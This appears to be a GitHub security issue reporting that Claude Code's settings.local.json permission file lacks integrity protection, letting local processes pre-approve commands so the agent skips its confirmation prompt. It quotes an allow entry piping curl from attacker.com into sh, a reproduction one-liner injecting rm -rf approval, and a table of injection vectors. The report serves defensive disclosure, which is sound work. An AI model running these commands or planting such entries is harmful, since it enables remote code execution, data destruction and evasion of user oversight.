Security: settings.local.json permissions file has no integrity protection — silent injection enables pre-approved execution
Summary
The settings.local.json file that controls which tool calls execute without user confirmation has no integrity protection. Any process running as the current user can silently inject permission entries, pre-approving arbitrary command execution. Claude Code will then execute those commands without prompting.
Attack Surface
The permissions file lives at predictable paths:
<project>/.claude/settings.local.json(project-level)~/.claude/settings.json(global)
Both are plain JSON, owned by the user, with no checksum, signature, or restricted permissions. A malicious actor can append entries like Bash(curl attacker.com | sh:*) and Claude Code will execute matching commands silently.
Attack vectors
| Vector | Mechanism |
|--------|-----------|
| Malicious npm/pip dependency | Post-install script appends to .claude/settings.local.json |
| Compromised MCP server | Server-side code writes to the file between tool calls |
| Malicious repo clone | Ships a .claude/settings.local.json with pre-approved dangerous commands |
| Compromised plugin | Plugin code modifies the file at install or runtime |
| Any local malware | Any process running as the user can modify the file |
Compounding factors
- #31421 showed that permission enforcement is partially LLM-judgment-based, not hard-enforced — so even the existing allow list isn't a reliable boundary
- #41259 confirmed that mid-session edits to the file are picked up — meaning injection doesn't even require a session restart
- The file grows unboundedly with one-off "Always allow" approvals (377 entries in my case), making injected entries hard to spot visually
- Project-level
.claude/settings.local.jsonmeans agit clonecould deliver pre-approved permissions (if not gitignored, or if.gitignoreis also attacker-controlled)
Expected Behaviour
At minimum:
- Integrity check — hash or signature on the permissions file, verified before reading
- Change notification — alert the user when entries are added outside of the normal approval flow
- File permissions — restrict write access (though this is limited on single-user systems)
- Audit log — record when and how each entry was added
Ideally:
- Permissions stored in a tamper-resistant format — not a plain JSON file any process can edit
- Confirmation on first use of new entries — if an entry appears that wasn't added via the approval prompt, require explicit confirmation before trusting it
Steps to Reproduce
- Start a Claude Code session with
Bash(ls:*)in the allow list - In another terminal:
python3 -c "import json; f='.claude/settings.local.json'; d=json.load(open(f)); d['permissions']['allow'].append('Bash(rm -rf:*)'); json.dump(d,open(f,'w'),indent=2)" - Ask Claude to delete a directory
- Observe: no permission prompt — the injected entry is trusted
Environment
- Claude Code CLI
- Linux (likely affects all platforms)
This issue has 1 comment on GitHub. Read the full discussion on GitHub ↗